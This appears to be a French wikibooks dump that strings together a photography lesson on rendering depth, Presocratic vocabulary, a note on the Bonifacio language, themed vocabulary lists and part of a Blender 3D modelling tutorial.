|'''Pavés'''<br><br> La répétition d'un motif périodique donne des images de plus en plus petites au fur et à mesure de l'éloignement. Les droites parallèles convergent vers un point de fuite situé en-dehors du cadre. En plaçant ce point juste dans le coin en haut et à droite, cela aurait donné une composition en diagonale beaucoup plus forte mais ... le pavage ne s'étend pas jusqu'à l'infini et il était sans doute impossible de faire autrement. |- |[[Image:Roof Japan.jpg|240px|center]] |'''Toit au Japon'''<br><br> Même processus que précédemment mais cette fois le point de fuite est pratiquement dans l'axe de la photographie. La structure est plus forte que pour les pavés, qui ne forment que des lignes, puisqu'on a ici un quadrillage. Les bords des tuiles donnent des lignes parallèles aux bords horizontaux du cadre, leur point de fuite est repoussé à l'infini. |- |[[Image:Alligator Heads.jpg|240px|center]] |'''Têtes d'alligators'''<br><br> L'impression de profondeur n'est pas très importante ici mais tel n'était peut-être pas le but du photographe. Pour l'augmenter, il aurait sans doute fallu s'approcher un peu plus et choisir une distance focale plus courte pour changer la perspective. Les taches colorées qui subsistent dans les deux coins à droite perturbent le regard, il faudrait les supprimer. |- |[[Image:Chaises-saint-denis.JPG|240px|center]] |'''Mairie de Saint-Denis de la Réunion'''<br><br> L'alignement presque parfait de ces chaises et une prise de vue dans une direction oblique par raport aux rangées donne ici un grand nombre de lignes de fuite le long desquelles se répète le motif des dossiers, vus de plus en plus petits. Le sujet est relativement banal mais le photographe en a très bien tiré parti. |- |[[Image:Roma - Basilia di San Paolo fuori le mura 6.JPG|240px|center]] |'''Rome, basilique Saint-Paul hors les murs'''<br><br> Ici ce sont les caissons du plafond qui se répètent mais l'effet n'est pas très marqué. Peut-être aurait-il mieux valu montrer davantage de caissons ou au contraire concentrer l'attention du spectateur sur un seul. En photographie comme en d'autres domaines, les solutions de compromis ne sont pas toujours les meilleures. |- |} == Choix de focales extrêmes == == Usage de la profondeur de champ == == Utilisation des couleurs chaudes et des couleurs froides == == Utilisation des ombres == {| |- |[[Image:Shadows-in-the-sand.jpg|Shadows at the beach|300px|center]] | |- |} == Usage de la diffusion atmosphérique == La diffusion atmosphérique est souvent une aide appréciable pour rendre l'impression de profondeur mais on ne peut la considérer comme sympathique que si elle est due à des causes naturelles et non à la pollution. Elle est parfois aussi une gène importante, en particulier dans le domaine de la photographie aérienne. {| border="1" cellpadding="5" cellspacing="0" |- |[[Image:Hamburg.Highflyer.Speicherstadt.wmt.jpg|160px|center]] |'''Port de Hambourg'''<br><br> Cas typique de lointains estompés par le voile atmosphérique. Ici ce voile est relativement léger, il ne fait pas disparaître les détails ni la netteté de l'image mais il diminue les contrastes et donne des tonalités bleutées et froides à la photographie. |- |[[Image:Shuanlo2.jpg|240px|center]] |'''Singapour'''<br><br> Contrairement à la précédente, la vue comporte ici la ligne d'horizon et le ciel est également présent. La lumière est beaucoup plus belle et cette image se lit, pour nous autres Européens, « dans le bon sens » : entendons par là que le regard se pose d'abord sur les zones claires, qui se trouvent en haut et à gauche, puis arrive sur les zones plus sombres mais aussi plus détaillées en bas et à droite. La composition pratiquement en diagonale comporte une zone relativement banale au-dessous à gauche et une autre beaucoup plus intéressante au-dessus à droite. |- |[[Image:Pittsburgh16.jpg|240px|center]] |'''Pittsburgh'''<br><br> La ville est vue ici de beaucoup plus près et un peu de vie apparaît. Malgré cela, l'ambiance ne semble pas d'une gaieté folle et sans les personnages elle deviendrait carrément sinistre ! |- |[[Image:Foggy Portland Morning.jpg|240px|center]] |'''Matin de brume à Portland'''<br><br> Ambiance froide, peu d'animation, mais la profondeur est là. |- |[[Image:Incense-LE.jpg|240px|center]] |'''Encens à Wat Phra Kaeo'''<br><br> Un excellent jeu de lumière sur la fumée de l'encens et sur les personnages donne ici une photographie fort attachante. |- |[[Image:Meat section of the market in Oaxaca.jpg|240px|center]] |'''Le secteur de la viande au marché d'Oaxaca'''<br><br> Ambiance brumeuse et enfumée dans ce marché, ce qui réduit la confusion des plans qui se produit trop souvent pour ce genre de scène et par la même occasion, adoucit les lumières. Géométriquement, c'est par ailleurs une perspective frontale quasi parfaite. |- |[[Image:Nebel Alle Fog.JPG|240px|center]] |'''Brouillard sur la route près de Leutkirch, Bavière, Allemagne'''<br><br> On comprend bien que les lignes blanches sont utiles pour la perspective mais elles doivent l'être encore plus pour les automobilistes souvent confrontés au brouillard dans cette région. L'impression fournie par la brume disparaît à partir d'une certaine distance, car tout finit par se confondre. Les nuances subtiles apportées par la couleur justifient que l'on ne transforme pas cette photographie en noir et blanc. |- |[[Image:Nebelwald.jpg|160px|center]] |'''Nebelwald im Sauerland''' (forêt brumeuse dans le Sauerland)<br><br> L'effet de la perspective plafonnante se conjugue à celui de la brume mais les deux effets sont très différents. La brume permet de séparer les divers plans de l'image tandis que la perspective plafonnante suggère que les arbres atteignent ici une hauteur très importante. On peut juste regretter que la photographie penche vers la droite. |- |<!-- Bonjour, cette image est soupçonnée de violer un copyright, et pourrait être prochainement supprimée de [[Commons:]]. Si votre version de Wikipedia permet une forme de [[:en:fair use|fair use]], veuillez en faire une copie locale. Merci. --> |'''Téléphérique'''<br><br> Un petit banc de brume providentiel permet de détacher la cabine sur le fond de rochers. |- |[[Image:Climbing Pucon 03.jpg|240px|center]] |'''Ascension du Pucon, Chili'''<br><br> Ambiance pour le moins feutrée pour cette ascension, qui nécessite un bon guide ! La profondeur de l'espace où l'on peut encore distinguer quelque chose est ici très limitée. |- |[[Image:Fort Point under the Golden Gate Bridge.JPG|240px|center]] |'''Pont du Golden Gate'''<br><br> Il est apparemment fréquent que cet ouvrage soit pris dans la brume et il l'est ici ni trop, ni trop peu, puisque la zone visible s'étend jusqu'à l'autre rive. Un peu plus de lumière sur cette brume aurait été bienvenue et l'on peut surtout regretter, une fois de plus, que cette photo soit penchée. Il devait être possible, en tenant l'appareil droit et en se déplaçant un peu, d'obtenir une belle composition en diagonale, éventuellement en retaillant un peu le haut et le bas de la photographie. Dommage ! |- |} == Usage de premiers plans == {{EnTravaux}} {| |- |[[Image:Monument Valley 2.jpg|300px|center]] | |- |} == Usage de miroirs == == Mise à profit du mouvement == == Utilisation des regards == == Formation d'une troisième image == == Photographies diverses == {| border="1" cellpadding="5" cellspacing="0" |- |[[Image:TenryujiBuilding.jpg|240px|center]] |'''Feuilles d'automne à Tenryuji, Kyoto, Japan'''<br><br> L'impression de profondeur procurée par cette image tient à plusieurs facteurs : la présence d'un élément rouge au premier plan, devant un décor aux couleurs plutôt froides, les lignes fuyantes et la faible profondeur de champ qui permet de bien détacher le feuillage devant l'arrière-plan flou. |- |} Présocratiques/Vocabulaire 5371 21816 2005-09-21T19:34:04Z Marc 66 *Amitié *Amour *Atome *Cercle *Cycle *Démon *Devenir *Dieu *Être *Haine *Illimité :« [[Anaximandre de Milet|Anaximandre]], fils de Praxiadès, originaire de Milet. Il pensait que le premier principe était l’Illi­mité, sans toutefois définir si c’était l’air, l’eau ou autre chose ; qu’il changeait en ses parties et restait pourtant immuable en son tout ; » (Diogène Laërce, I, 13) :« § 14. Ils ajoutent que l'infini est le divin, puisqu'il est immortel et indestructible, ainsi que le disait Anaximandre, et avec lui, le plus grand nombre des philosophes Naturalistes. » (Aristote, Physique, III, 4 203 b) *Intelligence *Lutte *Nature *Nécessité *Parole *Principe *Raison *Savoir *Sphère *Tout *Un :[[Héraclite]] : «Joignez ce qui est complet et ce qui ne l’est pas, ce qui concorde et ce qui discorde, ce qui est en harmonie et en désaccord ; de toutes choses une et d’une, toutes choses. » (Ps. Aristote, Traité du Monde, 5. 396b7) *Vérité *Vide *Vie Enseignement du corse:variété bonifacienne 5382 35036 2006-02-27T15:59:07Z Guillaumito 46 {{Corse}} {{Corse}} La particularité de Bonifacio est plurielle. On l'apelle d'ailleurs "l'Ile dans l'Ile", preuve d'une différence affichée et aussi d'une certaine incompréhension de la part des Corses de l'interieur. Au niveau linguistique, le bonifacien, bien différent du Corse, est une conséquence de la longue gouvernance génoise dont on retrouve encore des traces aujourd'hui: spécialités culinaires, patronimes, et rites religieux. Le bonifacien, est donc bien plus qu'un dialecte, c'est une véritable langue vivante que l'on parle dans la vieille ville, non loin des falaises de calcaire, elles aussi uniquent en Corse, mais pas seulement... en effet, cette langue que parle les bonifaciens, est la soeur jumelle du génois que pratique les vieux monégasques, et évidemment la langue historique de nos amis génois! Pour Jean Marie COMITI, Maitre de Conférence à l'IUFM Corte. Chercheur en linguistique, sociolinguistique et sciences de l’éducation. "Le bonifacien (u bunifazzinu, comme disent les habitants de Bunifazziu) est un isolat linguistique pris en étau entre les variétés corses du sud de la Corse et du nord de la Sardaigne. Ce cas est intéressant à deux titres : d’une part, c’est une réalité linguistique vivante qui, malgré l’exiguïté de son territoire langagier, mérite qu’on étudie ses particularités (notamment en relation avec l’aire ligure dont il est issu) ; et d’autre part, parce qu’il représente une illustration parfaite des phénomènes de distanciation linguistique opérée par une variété de ligure qui a fini par se constituer en un véritable système autonome que l’on nomme aujourd’hui « a lengua bunifazzina » (la langue bonifacienne). S’agit-il d’une « nouvelle langue romane » ou demeure-t-il un dialecte ligure ? Il appartient à la communauté bonifacienne de se prononcer sur la question et de donner l’impulsion nécessaire, si elle le désire, d’accéder à une véritable « reconnaissance-naissance ». Une langue n’est-elle pas, au delà d’un système de sonorités organisé, l’expression de la volonté populaire ?" A lire à ce sujet, de Jean-Marie COMITI Bunifazziu e a se lengua - Bonifacio et sa langue, Ed. Squadra di u Finusellu, Aiacciu, 1994, 168 pages. Image:A61-large.png 5383 21885 2005-09-22T15:12:43Z Garzol 521 a61 convergence a61 convergence Image:A61-small.png 5384 21888 2005-09-22T15:16:55Z Garzol 521 a61 convergence a61 convergence Image:A61-small2.png 5385 21889 2005-09-22T15:17:51Z Garzol 521 a61 convergence a61 convergence Vocabulaire / Expression personnelle 5386 24260 2005-10-25T18:59:58Z Oui 428 == penser== (V001) *1 pensée *2 observer *3 réfléchir *4 méditer *5 analyser *6 estimer *7 évaluer *8 apprécier *9 déduire *10 supposer *11 juger *12 décider *13 cérébral *14 surdoué *15 naïf *16 intelligence *17 stupidité *18 bêtise *19 enseigner *20 instruire *21 transmettre *22 montrer *23 expliquer *24 mentionner *25 relater *26 apprendre *27 assimiler *28 répéter *29 réviser *30 exercer (s'~) *31 pratiquer *32 maîtriser *33 dominer *34 projeter *35 compter *36 calculer *37 additionner *38 déduire *39 multiplier *40 diviser *41 accroître de manière potentielle == '''lire'''== (V001) *1 lecture *2 signe *3 lettre *4 chiffre *5 idéogramme *6 ponctuation *7 code *8 mot *9 locution *10 phrase *11 ligne *12 paragraphe *13 chapitre *14 note *15 colonne *16 coupon *17 détachable *18 page *19 volume *20 texte *21 relié *22 agrafé *23 broché *24 cahier *25 brochure *26 livre *27 titre *28 préface *29 table des matières *30 légende *31 police de caractères *32 index *33 gras *34 italique *35 souligné *36 barré *37 minuscule *38 majuscule *39 volute *40 imprimé *41 manuscrit *42 accent *43 signe diacritique == écrire== (V001) *1 projeter *2 planifier *3 rédiger *4 relire *5 corriger *6 traduire *7 publier *8 '''lettre''' *9 carte *10 adresse *11 adresse courrielle *12 note *13 billet *14 message *15 courriel *16 poésie *17 vers *18 couplet *19 forum *20 liste de messages *21 thème *22 sujet *23 question *24 réponse *25 inscription *26 entrer *27 quitter *28 compte *29 sésame *30 truc *31 article *32 dissertation *33 argumentation *34 description *35 rapport *36 conférence *37 discours *38 narration *39 roman *40 ouvrage pratique *41 ouvrage technique *42 compilation *43 crayon *44 stylo *45 plume *46 gommer == ordinateur== (V001) *1 machine à écrire *2 clavier *3 entrer *4 souris *5 traitement de texte *6 imprimante *7 scanner *8 décryptage de texte *9 rayer *10 expédier *11 recevoir *12 messagerie *13 dictée *14 reconnaissance vocale *15 téléphoner == dessin== (V001) *1 esquisser *2 dessiner *3 image *4 représentation *5 peinture *6 esquisse *7 plan *8 illustration (technique) *9 ébauche *10 trait *11 épaisseur *12 fond *13 couleur *14 profondeur *15 grain *16 striage *17 dégradé *18 noir *19 gris *20 blanc *21 cadre *22 taille *23 réduction *24 agrandissement *25 apparence *26 transparence *27 forme *28 serpentin *29 ligne *30 droite *31 cercle *32 cylindre *33 cône *34 tronc de cône *35 arc *36 portion d'arc *37 rayon *38 triangle *39 pyramide *40 parallélogramme *41 rectangle *42 carré *43 tétraèdre *44 ovale *45 corps ovale *46 oblong *47 régulier *48 irrégulier *49 marquer *50 copier *51 déplacer *52 retirer *53 insérer *54 papier *55 feuillet *56 feuille *57 affiche *58 endroit *59 envers *60 bord *61 marge *62 numéroter *63 signer *64 oeuvre == Autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_Ausdrucksm%C3%B6glichkeiten allemand] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Expresser_se interlingue (ex occidental)] - Vocabulaire / Meubles 5388 24259 2005-10-25T18:58:06Z Oui 428 == mobilier de chambre à coucher== (V001) *1 lit *2 lit individuel *3 grand lit *4 lits jumeaux *5 lit d'enfant *7 lit de bébé *8 lit mobile de bébé *9 lit escamotable *10 lit transformable *11 lit de camp *12 lit de paille *13 lit de foin *14 divan-lit *15 *16 lits superposés *17 lit d'appoint *18 armoire-lit *19 emplacement pour dormir *20 sommier *21 sommier à lattes *22 sommier à ressorts *23 sommier tapissier *24 sommier segmenté *25 lift partie pied *26 lift partie haute *27 monter *28 descendre *29 lit perfectionné *30 lit d'hôpital *31 civière (à roulettes) *32 roulettes *33 voiture de bébé *34 frein *35 couverture pare-pluie *36 sac hivernal *37 applique murale pour le lit *38 interrupteur *39 baldaquin *40 suspension pour rideaux *41 suspension pour moustiquaire *42 bouillotte *43 cadre de lit *44 tête de lit *45 pied de lit *46 inclinaison *47 adaptable *48 '''matelas''' *49 matelas en mousse *50 matelas en latex naturel *51 matelas en mousse de synthèse *52 matelas à ressorts soufflet *53 matelas en fibres de coton *54 matelas en laine *55 matelas en paille *56 matelas en algues *57 matelas monobloc *58 matelas en 3 pièces *59 matelas pneumatique *60 '''armoire''' *61 armoire à miroir *62 porte d'armoire *63 porte coulissante *64 étagère d'armoire *65 tiroir d'armoire *66 barre porte-vêtements *67 '''table de nuit''' *68 tiroir de table de nuit *69 compartiment *70 pot de chambre *71 couvercle *72 logement pour pot de chambre *73 ''fauteuil''' *74 coussin *75 dossier *76 coussin de dossier *77 coussin de repose-bras *78 tabouret repose-pied *79 '''table de toilette''' *80 cuvette *81 miroir *82 porte-serviette *83 tiroir *84 '''table de travail''' *85 toile cirée *86 éclairage de travail *87 abat-jour *88 régulateur électronique *89 '''chaise''' *90 pied de chaise *91 plateau du siège *92 bois *93 tôle *94 tressée *95 capitonné *96 '''étagère à livres''' *97 lampe plafonnière *98 verre de lampe *99 suspension de lampe *100 tapis *101 tapis tissé *102 tapis velours *103 tapis à poils *104 tableau décoratif *105 toile de maître *106 crucifix *107 hôtel == linges de literie== (V001) *1 toile de protection *2 alèse *3 drap *4 drap-housse *5 drap en coton *6 toile en coton *7 drap de lin *8 toile de lin *9 drap jetable *10 toile jetable *11 tissu de coton mélangé *12 '''traversin''' *13 traversin en mousse *14 traversin en laine *15 housse de traversin *16 '''oreiller''' *17 oreiller en laine *18 oreiller en plume *19 oreiller en algues *20 housse d'oreiller *21 drap de dessus *22 drap de dessus brodé *23 toile infroissable *24 tissu éponge *25 velours *26 bouton *27 crochet *28 fermeture éclair *29 toile moustiquaire *30 tissu *31 tricot *32 '''couverture''' *33 couette *34 couette en laine *35 couette en fibres *36 édredon *37 couverture en coton *38 couverture tissée en fibres *39 couverture tissée en laine *40 couverture en laine de chameau *41 couvre-lit *42 couverture de survie *43 sac de couchage *44 sac à viande *45 location *46 prix de la location *47 neuf *48 propre *49 hygiénique *50 usagé *51 restituer *52 '''rideau en voile''' *53 rideau obscurcissant *54 bord *55 ourlet *56 bordure (décorative) *57 barre à rideau *58 rail pour rideau *59 volet *60 recouvrement de fenêtre *61 corde *62 manivelle *63 moteur de relevage == mobilier de salle de séjour== (V001) *1 table pour les repas *2 ronde *3 carrée *4 rectangulaire *5 pliante *6 extensible *7 rallonge *8 '''vaisselier''' *9 vitrine *10 soupière *11 plat creux pour servir, jatte *12 plat plat pour servir *13 plat en verre *14 plat en porcelaine *15 plat en Fayence *16 jatte en inox *17 jatte en plastique *18 saladier *19 ravier, jatte *20 assiette *21 assiette creuse *22 assette à dessert *23 soucoupe *24 tasse *25 tasse pour le thé *26 tasse pour le café *27 bol, tasse à déjeuné *28 pot, coupe, timbale *29 pot de bière *30 pot de cidre *31 cruche *32 théière *33 cafetière *34 cruche de jus *35 verre *36 verre à eau *37 verre à vin *38 verre à apéritif *39 flûte, coupe à Champagne *40 cruche en cristal, aiguière *41 coupe en cristal *43 tasse en cristal *44 soucoupe en cristal *45 plateau de service *46 planchette *47 planche pour servir *48 bois (en ~) *49 synthétique (en matière ~) *50 ''cuillère''' *51 fourchette *52 couteau *53 louche *54 cuillère pour servir *55 fourchette pour servir *56 service à salade *57 couteau à fromage *58 cloche à fromage *59 beurrier *60 pince à olives *61 flacon d'huile *62 râpe à fromage *63 distributeur de condiments *64 tube de moutarde *65 moulin à poivre *66 salière *67 pot de lait *68 pot à crème *69 sucrière *70 pince à sucre *71 casse-noisettes *72 cloche en toile grillagée *73 rince-doigts *74 rond à serviette *75 passoire à thé *76 réchaud de table *77 *78 seau à glace *79 '''nappe''' *80 serviette d'hôte *81 serviette en papier *82 poêle à frire *83 casserole *84 marmite *85 table auxiliaire *86 desserte roulante *87 '''banc''' *88 banc d'angle *89 tabouret *90 divan *91 table basse *92 sièges de salon (groupe de ~) *93 corbeille à journaux *94 '''téléviseur''' *95 chaîne audio *96 appareillage vidéo *97 console de jeux *98 écran *99 haut-parleur *100 téléphone *101 ventilateur *102 radiateur == Autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_M%C3%B6bel allemand] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Mobles interlingue (ex occidental)] Vocabulaire / Maison 5389 24258 2005-10-25T18:53:25Z Oui 428 == édifice== (V001) *1 terrain *2 place *3 fondation *4 mur *5 pierre *6 brique *7 tuile *8 panneau de construction *9 panneau isolant *10 panneau de toiture *11 ondulé *12 préfabriqué *13 laine isolante *14 toit *15 cheminée *16 gouttière *17 tube d'écoulement *18 fenêtre *19 volet *20 porte *21 cadre de porte *22 poignée *23 serrure *25 vitre *26 sonnette *27 boîte aux lettres *28 fente *29 interphone *30 vidéophone == environnement== (V001) *1 jardin *2 cours *3 palissade *4 porte extérieure *5 allée *6 gravier *7 béton *8 gazon *9 herbe *10 bocage *11 arbuste *12 lit de fleurs *13 fleur *14 rose *15 tulipe *16 oeillet *17 lilas *18 sureau *19 potager *20 verger *21 garage *22 hangar *23 serre == espaces communs== (V001) *1 vestibule *2 escalier *3 marche (d'escalier) *4 mi-étage, mezzanine *5 rampe (d'escalier) *6 tournant (dans l'escalier) *7 couloir *8 cave *9 parterre *10 étage *11 mansarde *12 lucarne *13 comble *14 paroi en lattis *15 éclairage *16 interrupteur *17 lampe *18 ampoule électrique *19 lampe à gaz *20 verre de protection *21 verre décoratif *22 prise de courant == chambre== (V001) *1 pièce *2 alcôve *3 chauffage *4 aération *5 ventilation *6 climatisation *7 salubre *8 '''appareil de chauffage''' *9 poêle *10 poêle carrelé *11 chauffage central *12 chauffage indépendant *13 chauffage au gaz *14 chauffage électrique *15 chauffage au pétrole *16 '''canalisation de chauffage''' *17 conducteur électrique *18 conduit de cheminée *19 bouche d'évacuation *20 conduite d'eau *21 robinet d'eau *22 plafond *23 sol *24 carrelage *25 plancher *26 parquet *27 revêtement de sol *28 tapis *29 moquette *30 '''paroi''' *31 plâtre *32 mortier à la chaux *33 mortier au ciment *34 enduit, crépis *35 colorer *36 papier peint *37 tapisserie *38 tenture *39 '''trou de fixation''' *40 plinthe *41 baguette de protection *42 baguette décorative *43 réglette de fixation de tapis *44 clou *45 clou en acier dur *46 vis *47 vis de fixation *48 cheville pour vis *49 cheville en polyamide *50 cheville en fibres *51 cheville de bois *52 crochet *53 boucle, anneau, bague *54 clou-crochet *55 crochet vissable *56 clou à anneau *57 anneau vissable *58 support == espaces d'habitation== (V001) *1 salon *2 salle de séjour *3 chambre à coucher *4 chambre des parents *5 chambre d'enfant(s) *6 chambre d'hôte (d'amis) *7 chambre de bonne, de personnel *8 salle de travail *9 salle de musique *10 fumoir *11 gymnase *12 gymnase *13 salle de billard *14 bibliothèque *15 piscine *16 *17 balcon *18 terrasse *19 pergola == espaces utilitaires== (V001) *1 salle de rangement *2 buanderie *3 salle de repassage *4 cuisine *5 évier *6 évier d'évacuation *7 tuyauterie d'évacuation *8 broyeur de déchets *8 chauffe-eau *9 desserte *10 table de travail *11 cuisinière, réchaud *12 cuisinière à gaz *13 cuisinière électrique *14 réchaud au charbon de bois *15 réchaud à l'alcool à brûler *16 réchaud à pétrole *17 poste de chauffe *18 allume-gaz *19 contrôle de flamme *20 four *21 grille-tiroir *22 tiroir en tôle, fournée *23 tôle de récupération *24 grilloir *25 tourne-broche *26 auto-nettoyant *27 hotte d'aspiration (des vapeurs) *28 réfrigérateur *29 chambre froide *30 garde-manger *31 armoire à provisions *32 armoire de rangement *33 vaisselier *34 latrines *35 W.-C. à la turque *36 Urinoir *37 toilettes *38 siège de toilettes *39 couvercle de siège *40 évacuation des toilettes *41 chasse d'eau *42 porte-papier *43 papier en feuilles *44 rouleau de papier *45 brosse de nettoyage *46 lavabo *47 porte-savon *48 distributeur de savon *49 ventilateur *50 filtre à charbon actif *51 pompe à broyeur *52 salle de bain *53 baignoire *54 douche, bassin de douche *55 robinet *56 robinet régulateur *57 robinet d'eau chaude *58 robinet d'eau froide *59 mélangeur *60 tube flexible de douche *61 arrosoir de douche *62 obturateur de lavabo *63 crible *64 rail porte-douche *65 rail porte-rideau *66 rideau *67 sol chauffant *68 transfo de protection pour rasoir *69 miroir == Autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_Haus allemand] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Dom interlingue] - Vocabulaire / Vêtements 5390 24257 2005-10-25T18:51:26Z Oui 428 == chapeau== (V001) *1 voile *2 casque *3 bonnet *4 turban *5 casquette == sous-vêtements== (V001) *1 maillot de corps *2 caleçon *3 slip *4 soutien-gorge *5 jupon *6 bas *7 socquette *8 collants *9 string == vêtements== (V001) *1 chemise *2 maillot *3 pantalon *4 veste *5 veston *6 costume, tailleur *7 cravate *8 veste tricotée *9 chandail *10 corsage *11 corsage (moulant) *12 jupe *13 robe == vêtement de sortie== (V001) *1 manteau *2 veste coupe-vent *3 cape == technique textile== (V001) *1 boutonner *2 boutonné *3 boutonnable *4 bouton *5 fermeture éclair *6 agrafe *7 extensible *8 long *9 court *10 ample *11 étroit *12 chaud *13 léger *14 aéré *15 sérieux *16 malséant *17 démodé *18 bariolé *19 '''tricoter''' *20 tricot *21 tisser *22 tissu *23 broder *24 broderie *25 satin *26 sergé *27 treillis bleu, blue-jean *28 velours *29 éponge *30 damas *31 '''coton''' *32 laine *33 lin *34 soie *35 cuir *36 viscose *37 polyamide *38 polyacryl *39 polyester *40 polyuréthane *41 chlorure de polyvinyle *42 imperméable *43 '''maillot de bain''' *44 combinaison en néoprène *45 ceinture de sauvetage *46 palmes *47 '''uniforme''' *48 habits professionnels *49 bleu de travail *50 salopette *51 blouse *52 tablier *53 caoutchouté *54 combinaison *55 protège-bouche *56 masque à gaz *57 scaphandre *58 textile (adj.) *59 textile == accessoires== (V001) *1 col *2 manchette *3 écharpe *4 gant *5 '''chaussure''' *6 botte *7 sandale *8 pantoufle *9 sabots (en caoutchouc) *10 lisse *11 profil *12 crampon *13 ceinture *14 cordon *15 bretelles *16 '''lunettes''' *17 lunettes solaires *18 lunettes de lecture *19 lentilles de contact *20 parapluie *21 ombrelle *22 visière *23 canne *24 appareil pour marcher *25 bourse *26 sac à main *27 sac à dos *28 porte-clefs *29 portefeuille *30 '''brosse à habits''' *31 brosse à chaussures *32 nettoyage à sec *33 blanchiment *34 séchage *35 repasser *36 fer à repasser *37 sac à linge *38 cintre *39 portemanteau == coudre== (V001) *1 couture *2 fil *3 poche *4 doublure *5 épaulette *6 pince *7 pli *8 revers == Autres langues: == [http://de.wikibooks.org/w/index.php?title=Vokabular_/_Bekleidung allemand] - [http://ie.wikibooks.org/wiki/Vocabulárium_/_Vestimentes interlingue (ex occidental] - Blender 3D: du débutant au pro/Détailler votre personnage simple 2 5391 40903 2006-04-25T12:07:27Z 81.251.116.197 /* Changements de taille avec contraintes d'axes */ ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Créer un chapeau simple|Créer un chapeau simple]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Détailler votre personnage simple 1|Détailler votre personnage simple I]]''</small> Ce didacticiel utilise le modèle de personnage simple à partir du didacticiel précédent. Si vous ne l'avez pas fait, [[Blender 3D: du débutant au pro/Détailler votre personnage simple 1|retournez-y]] et faites-le maintenant (ou bien vous pouvez récupérer le fichier [http://www.nusoy.com/blender ici]). Cette page à manifestement été traduite par un ordinateur. Si vous avez un peu de temps, n'hésitez pas à l'améliorer. ==Modes de sélection== [[Image:Blender3DNoobToPro-SimpleHat-SelectModes.png]] Jusqu'à maintenant, vous n'avez manipulé que des sommets, sauf dans le premier chapitre ou on a sélectionné des faces. En fait il y a trois modes de sélection : sommets, arêtes et faces. Assurez-vous que vous êtes en Edit Mode('''TAB ''') et en rendu solide('''ZKEY'''). Appuyez sur '''CTRL+TAB'''. Le menu qui apparaît vous permet de choisir le mode de sélection entre : sommets(vertices), arêtes(edges), et faces(faces). Choisissez '''arêtes''' (edges). (sous KDE, '''CTRL+TAB''' change de bureau, donc vous devrez utiliser la barre de boutons). Dans les anciennes versions de Blender, cette fonctionnalité n'existe pas. Vous devrez sélectionner tous les sommets de la face concernée. Le mode peut également être choisi grâce aux boutons de la barre de statut, située sur la droite. * Il est important de se rappeler que, quel que soit le mode que vous choisissez, vous déplacerez en même temps des sommets, des arêtes et des faces. C'est parce que vous ne pouvez pas séparer les faces des arêtes ou les arêtes des sommets. ==Changements de taille avec contraintes d'axes== '''Screenshots et instructions plus spécifiques requises pour cette section''' [[Image:Blender3D Scaled Armtips.png|right]] Le but est de positionner le curseur entre les hanches de notre bonhomme, puis de réaliser une mise à l'échelle. Si votre personnagee simple est en mode fil de fer dans la vue 3D, appuyez sur '''ZKEY '''pour qu'il passe ne mode plein. Assurez-vous que tout est déselectionné grâce à la touche '''AKEY'''. Sélectionnez les deux arêtes situées au dessus des hanches, là ou les jambes rejoignent le torse (choisissez le mode de sélection arêtes (edges), cliquez avec '''RMB''' sur la première puis avec '''SHIFT+RMB''' sur la seconde). Maintenant, appuyez sur '''SHIFT+SKEY''' et sélectionnez ''Cursor->Selection''. Le curseur 3D s'est déplacé entre les hanches de votre bonhomme (pour être précis, il est placé au même endroit que le curseur de sélection). A présent, sélectionnez à les arêtes situées en dessous de chacun de ses bras, là où ils sont reliés au torse (oui, ses aisselles, les arêtes qui vont de l'avant vers l'arrière). Vous pouvez sélectionner plus d'une arête à la fois en maintenant la touche SHIFT enfoncée pendant la sélection des autres arêtes. Assurez-vous d'avoir sélectionné chacune des aisselles avant de continuer (vous pouvez changer la vue avec '''MMB''' pour faciliter la visualisation). Les arêtes sélectionnées sont en surbrillance jaune. * Notez que par défaut, lorsque vous êtes en Solid Mode, vous ne pouvez pas voir ou choisir les sommets, les arêtes ou les faces qui sont à l'arrière du modèle contrairement au mode fil de fer. Ceci peut être arrangé en cliquant sur le bouton "Limit selection to visible" [[ Image:LimitSelectionToVisible.png]] situé sur l'en-tête de la vue 3D, à droite des boutons sommet, arête et face (en Solid et Edit Mode). Une fois les deux arêtes sélectionnées, appuyez sur '''SKEY '''pour modifier leur taille. Dans le même temps, maintenez '''CTRL '''afin d'agrandir par pas de 0.1. Etendez la taille jusqu'à ce qu'elle indique 3.500 sur l'en-tête de la vue 3D pour SizeX, SizeY, et SizeY. Notez que le curseur 3D est centré au milieu du bassin du personnage. Le comportement de l'outil de modification de la taille des arêtes est très dépendant de la position du curseur 3D. [[Image:Blender3D Global Axis X Z.png|left]] Appuyez sur '''NUM1''' pour passer en vue de face. Jetez un coup d'oeil dans le coin en bas à gauche de la fenêtre 3D, juste au-dessus de l'en-tête. Vous devriez voir un petit symbole avec un X et un Z. Dans l'espace 3D, il y a trois axes : un axe des X, un axe des Y, et un axe des Z. De cette vue, l'axe des Z va du bas vers le haut, et l'axe de X de la gauche vers la droite. L'axe des Y va de l'écran vers votre tête et n'est pas visible à ce moment. Pour le voir, il faut changer la vue en appuyant sur '''NUM3''' ou '''NUM7'''. [[Image:Blender3D Global Axis y Z.png|left]] Appuyez '''NUM3''' pour passer en vue de côté. Maintenant vous voyez que l'axe des Z est toujours du bas vers le haut, et l'axe Y est de gauche à droite, alors que l'axe de X vient vers vous. Il est important de noter qu'il y a non seulement un repère global XYZ, mais que chacun de vos différents objets possède également son propre repère XYZ. Nous approfondirons ces détails plus tard. Le coffre du modèle est trop important selon l'axe Y (il a une forte poitrine). Nous allons donc le reduire le long de l'axe des Y uniquement (les éisselles devraient être déjà sélectionnées). Pressez '''SKEY''' pour redimensionner, et ensuite '''YKEY''' pour contraindre le changement à l'axe Y. Vous noterez, dans le bas à gauche de la fenêtre 3D, que lorsque vous déplacerez la souris, les valeurs de SizeX et de SizeZ restent à 1.000, alors que la valeur de SizeY change. Reduisez les élements séletionnés jusqu'à environ 0.600 sur l'axe de Y. Notez que quand Blender est en mode Redimensionnement, 1.000 signifie 100%, 0.600 signifie 60%, et ainsi de suite. Vous pouvez également contraindre la graduation à l'axe des X ou des Z en pressant '''XKEY''' ou '''ZKEY'''. Continuez à choisir différentes parties du torse et à les redimensionner à votre guise. Voici un exemple : [[Image:Capture3.jpg]] 